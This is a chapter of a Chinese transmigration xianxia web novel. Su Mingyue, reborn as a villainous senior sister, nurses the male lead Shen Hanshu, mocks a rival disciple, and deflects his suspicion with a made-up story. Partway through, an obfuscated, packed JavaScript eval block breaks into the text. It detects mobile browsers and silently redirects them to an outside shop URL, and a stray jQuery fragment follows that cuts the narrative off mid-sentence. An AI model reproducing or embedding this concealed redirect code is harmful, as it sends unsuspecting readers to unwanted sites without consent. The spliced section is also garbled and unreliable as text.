“阿娘…求您…”
沈寒舟脸色惨白如纸,毫无血色的唇瓣轻颤,发出细碎的呢喃。
“不要丢下我…”
“我保证听话,再也不闹了!”
沈寒舟声音从极轻,带着点孩童般无助的哭腔,软糯又卑微。
苏明月擦拭脸庞的动作微微顿了顿,不知为何她竟然有点心疼沈寒舟。
如今的沈寒舟不过是十五六岁的小孩,原书对他的身世也是一笔带过,没人知道在他那段空白的岁月里,他究竟经历过怎样的绝望。
“不要,不要!”
沈寒舟猛地蹙紧眉,头颅不安的左右晃动,身体剧烈挣扎,像是要逃脱什么可怕的束缚。
情急之下,他死死扣住苏明月的手腕,睁开的双眸里盛满着恨意,悲愤。
苏明月轻轻蹙眉,一时之间忘记了手腕上处传来的疼痛。
回过神,这才用手拍了拍沈寒舟的手,温声道:“师弟,醒了?”
沈寒舟有些茫然地眨了眨眸子,这才看清楚苏明月的脸,面容姣好,只是少了些血气。
“怎么是你?”
沈寒舟嗓音沙哑,刚醒的缘故,带着一丝极低的颤音。
这时候他才开始打量四周,见是回到了他熟悉的住处,他紧绷的神经才稍稍松懈。
又瞧见了苏明月放在桌子上的木盆,正散发着股股热气。
沈寒舟察觉到自己换了新的里衣。
往日里苏明月百般欺凌的画面浮现在眼前,没想到这次又趁着自己受伤……
她竟然敢?!
“苏明月!”
“你对我做了什么?”
沈寒舟低吼她的名字,放在一旁的手也不知何时握成拳头,指节泛白。
苏明月看着他的反应如此剧烈,大概也猜到他是因为什么。
“我对死尸不感兴趣。”苏明月语气平淡。
沈寒舟:“……”
看到沈寒舟语噎的样子,小脸一阵红一阵白的,苏明月觉得莫名好笑。
“师弟你发了高热,衣服湿透了,我让其他师弟给你换了。”苏明月继续解释道。
苏明月将手上的汗巾搭在木盆边缘上,活动了下被捏红的手腕。
人不大,力气不小。
听到解释,沈寒舟的情绪这才稳定下来,又看到了苏明月手腕上的红痕。
“大师姐,伤了你…是我的错…”
沈寒舟垂着头,不敢看苏明月一眼,红晕悄悄爬上耳尖。
苏明月饶有兴趣的看着他这副样子,正要继续打趣一番。
门外便涌入三名女子。
“寒舟小师弟!”
“我们来看你了”
带头的便是三长老的弟子柳清瑶,身着一袭淡青色的流云广袖裙,腰间束着月白丝绦,勾勒着盈盈一握的纤腰。
她乌发如瀑,仅用一根通透的白玉簪松松挽起,几缕碎发垂在耳侧。
身后跟着的是五长老和六长老的弟子,林霄和宁清浅。
早就听闻这三人关系好,经常一起出现。
又因貌美,天赋不错。
被内外门弟子称为青云宗三大仙子。
柳青瑶作为三长老座下高徒,素来心高气傲,没想到会来探望沈寒舟。
她的目光在沈寒舟身上扫了一圈,见他面色苍白却已无大碍,眼底那抹焦急才散去。
“寒舟小师弟,听说苏明月去牢里找你,那个毒妇没将你怎么样吧?”
柳青瑶语气关切,脚步未停,径直走向床头作势要检查沈寒舟的身体。
听到“毒妇”二字,沈寒舟忍不住轻咳一声。
赶忙道:“多谢青瑶师姐关怀,我没事。”
血色涨满沈寒舟的脸庞,眼神闪躲的朝着角落看了看。
苏明月倒也不恼,嘴角勾起一起玩味的微笑。
柳清瑶顺着沈寒舟的目光看去,刚好瞧见苏明月。
“明月大师姐?!”
柳清瑶瞪大着眸子,显然没想到她会出现在这里。
一想到刚才当着面说了那些话,打算破罐子破摔了。
柳清瑶柳眉微微一挑,带着几分挑衅的语气道:“大师姐身子这才刚好,竟又想霸王硬上弓?当真也是不挑地了。”
柳清瑶身后的林霄和宁清浅闻声,也是噗嗤笑出声。
谁不知苏明月为何受伤,清玄掌门以为封锁消息,其他人便不知道这其中的内幕了。
明明是苏明月霸王硬上弓,最后受到处罚的确是寒舟小师弟。
不过话说回来……
苏明月确实从未踏足过沈寒舟的住处。
沈寒舟被清玄掌门收为亲传弟子,因为苏明月的缘故,却没有亲传弟子应有的待遇。
他的住处又小又破,还偏僻。
这片区域灵气稀薄。
别说灵草了,根都没。
灵鸟来了顶多拉泡屎就走了。
就算沈寒舟是先天圣体,修炼速度远超常人,在这种环境下,是条龙也得趴着。
面对柳清瑶出言嘲讽和身后两人的嗤笑,苏明月脸上笑意反而更深了。
“柳师妹不如留下,好好看看我这个毒妇是如何霸王硬上弓的?”
苏明月语气慵懒,带着几分漫不经心的锋利。
苏明月一边说,一边缓步走向柳清瑶。
“想动手?”
柳清瑶满脸戒备的看着苏明月,随时准备召唤本命法器战斗。
以她现在的境界,即便和苏明月差了两个小境界,但依旧有一战之力。
这次闭关柳清瑶便突破了筑基三层。
而苏明月进青云宗最早,天赋极佳,但平日里疏于修炼,不思进取。
境界上迟迟没有新的突破,现在还停留在筑基五层。
就连最晚进青云宗的沈寒舟都突破了练气期,入筑基。
她微微倾身,抬起柳青瑶的下巴,目光停在她那精致的小脸上。
天杀的!
沈寒舟身为本书的男主,竟然吃这么好。
虽然原书中没有女主,还是有很多美女都对沈寒舟青眼有加,暗中帮助不少。
柳青瑶就是其中之一。
她怎会知道苏明月说话如此直白,一点都不知一羞,一张俏脸随即涨成猪肝色。
柳青瑶挥开苏明月的手,恼羞成怒道:“馋师弟身子,你真下贱!”
“我下贱?”苏明月笑出了声,紧接着道:“难道柳师妹不馋沈寒舟的身子?”
苏明月作为看过原书的人,当然知道柳清瑶刚开始接近沈寒舟目的也不单纯,为的就是他那先天圣体。
沈寒舟并未帮她,但还是以别的方式帮了她,从那之后柳清瑶才真正的动心。
被戳中心事的柳清瑶像是被踩到尾巴的猫。
她猛地退后一步,指着苏明月的手都在剧烈颤抖,声音因为极度羞愤而变得尖锐。
“你少在这里血口喷人!”
柳清瑶死死咬着下唇,看了眼沉默不语的沈寒舟。
说完,她再也待不下去,拉着还在发愣的林霄和宁清浅,拂袖而去。
临走前还不忘用力带上那扇破木门,发出“砰”的一声巨响,震得屋顶落下几缕灰尘。
屋内总算恢复了清净
只剩苏明月和沈寒舟。
沈寒舟望向苏明月的眸子闪过一丝寒光。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608480|205824||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不易察觉。
“大师姐,你似乎有些不同。”
苏明月的身体怔了怔,不过一瞬便恢复如常。
挑了挑眉,毫不避讳的迎上他探究的目光。
随手拉过一把吱呀作响的破椅子坐下,姿态慵懒。
“哦?哪里不同?”
“是比之前更美了?还是比之前更温柔了?”
沈寒舟:“.........”
沈寒舟抿了抿唇,沉默了片刻,才低声道:“从前的师姐不会这般伶牙俐齿……”
“只会暴力解决一切。”
比争辩先到的是苏明月的鞭子。
“啊?我吗?”苏明月用手指了指自己。
“你不是大师姐!你到底是谁?”
沈寒舟目光逼视,他甚至怀疑眼前的苏明月被人夺舍了。
在他心里,苏明月不但恶毒,其实是个蠢货。
原主苏明月啊苏明月啊!
你这恶女形象真是深入人心啊!
苏明月大脑飞速运转,眼珠微微一转,故作深沉的叹了口气。
随即换上一副痛心疾首的表情,语重心长地说道:“小师弟,不妨告诉你,我的体内有两个人格,一个是邪恶人格,一个是善良人格……”
苏明月抹了抹眼角,看了下沈寒舟半信半疑的模样,继续一本正经胡说八道。
“前些日子你打了我一掌,好在吉人自有天相,邪恶人格消失了,善良的人格存活下来。”
“那你现在是善良人格?”沈寒舟故作配合的问道。
苏明月郑重的点了点头,“小师弟真是聪慧过人!”
沈寒舟:“……”
他定定地看着眼前这个满嘴胡话的女人,眼底满是狐疑。
邪恶人格?善良人格?
这种鬼话,三岁孩童都不会信!
“怎么?师弟你不信?”
苏明月无辜的眨巴着眸子,眼里满是清澈坦荡真诚。
“我信。”
沈寒舟垂下眼帘,掩去眸底晦暗不明的情绪,声音低哑,“只要师姐不再像从前那样……就好。”
随即露出一抹笑容,眉眼弯弯。
苏明月没想到沈寒舟这么快就信了,反而有些意外。
这笑看着单纯可爱,却令人毛骨悚然……
沈寒舟这个小狐狸!
信也好,不信也罢。
在这么任由她继续编下去,她真的不知道会说出什么惊世骇言!
苏明月从戒指里取出一个白色瓷瓶放在一旁的桌子上。
“师弟,这个有助于你恢复伤口。”
“好好休养。”
说完便速速离去。
直到木门被重新合上,屋内再次陷入一片寂静。
沈寒舟原本温顺乖软的神情才瞬间淡去。
他缓缓抬起眼帘,那双漆黑如墨的眸子里,哪里还有半分刚才的懵懂与清澈,取而代之的是一片深不见底的寒潭。
冷静、理智,且带着几分审视。
沈寒舟缓缓起身,将桌上的瓷瓶攥在手里,闻了闻。
“竟是青璃藤……”
青璃藤,藤蔓缠绕,叶似翡翠。
果实晶莹剔透,内含丰富灵力,服用后可加速伤势愈合,提升修为。
不过青璃藤长在深林之中,多有妖兽。
易进不易出。
想要全身而退,怕是不容易。
“苏明月,还有多少是我不了解的?”沈寒舟喃喃道。
沈寒舟缓缓将瓶塞重新塞好,指尖在光滑的瓶身上来回摩挲着。
“不管你在耍什么花招,你都该死……”